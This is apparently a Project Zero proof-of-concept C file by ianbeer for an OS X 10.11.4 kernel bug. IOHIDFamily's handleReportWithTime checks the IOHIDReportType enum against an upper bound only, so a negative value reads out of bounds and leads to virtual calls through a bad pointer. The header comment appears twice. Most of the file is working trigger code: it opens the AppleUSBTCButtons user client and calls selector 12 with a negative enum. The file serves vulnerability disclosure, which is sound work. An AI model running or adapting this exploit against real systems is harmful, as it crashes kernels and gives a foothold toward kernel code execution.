/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:
if ( reportType >= kIOHIDReportTypeCount )
return kIOReturnBadArgument;
reportType is then used here:
element = GetHeadElement( GetReportHandlerSlot(reportID),
reportType);
while ( element ) {
shouldTickle |= element->shouldTickleActivity();
changed |= element->processReport( reportID,
where GetHeadElement is defined as:
#define GetHeadElement(slot, type) _reportHandlers[slot].head[type]
This leads to an OOB read off the head array followed by virtual function calls
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
I can provide panic logs if required.
*/
// ianbeer
// clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation
/*
OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:
if ( reportType >= kIOHIDReportTypeCount )
return kIOReturnBadArgument;
reportType is then used here:
element = GetHeadElement( GetReportHandlerSlot(reportID),
reportType);
while ( element ) {
shouldTickle |= element->shouldTickleActivity();
changed |= element->processReport( reportID,
where GetHeadElement is defined as:
#define GetHeadElement(slot, type) _reportHandlers[slot].head[type]
This leads to an OOB read off the head array followed by virtual function calls
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
I can provide panic logs if required.
*/
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>
#include <libkern/OSAtomic.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
io_connect_t get_user_client(const char* name, int type) {
kern_return_t err;
CFDictionaryRef matching;
io_service_t service;
// try IOServiceMatching
matching = IOServiceMatching(name);
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
if (service == MACH_PORT_NULL) {
// try IOServiceNameMatching
matching = IOServiceNameMatching(name);
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
}
if (service == MACH_PORT_NULL) {
// try everything and look for a partial name match
matching = IOServiceMatching("IOService");
io_iterator_t iterator;
IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
int found_it = 0;
while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
io_name_t object_name;
IOObjectGetClass(service, object_name);
if (strstr(object_name, name)) {
found_it = 1;
break;
}
IOObjectRelease(service);
}
IOObjectRelease(iterator);
if (!found_it) {
// couldn't find any matches for the name anywhere
return MACH_PORT_NULL;
}
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("IOServiceOpen failed: %s\n", mach_error_string(err));
IOObjectRelease(service);
return MACH_PORT_NULL;
}
IOObjectRelease(service);
return conn;
}
kern_return_t poc(io_connect_t client){
unsigned int selector;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check
inputScalar[1] = 0x00a90000;
inputScalar[2] = 0;
inputScalarCnt = 3;
outputStructCnt = 0x1000;
selector = 12;
return IOConnectCallMethod(
client,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
int main(int argc, char** argv){
io_connect_t client = get_user_client("AppleUSBTCButtons", 0);
if (client == MACH_PORT_NULL) {
printf("no client\n");
return 1;
}
poc(client);
return 0;
}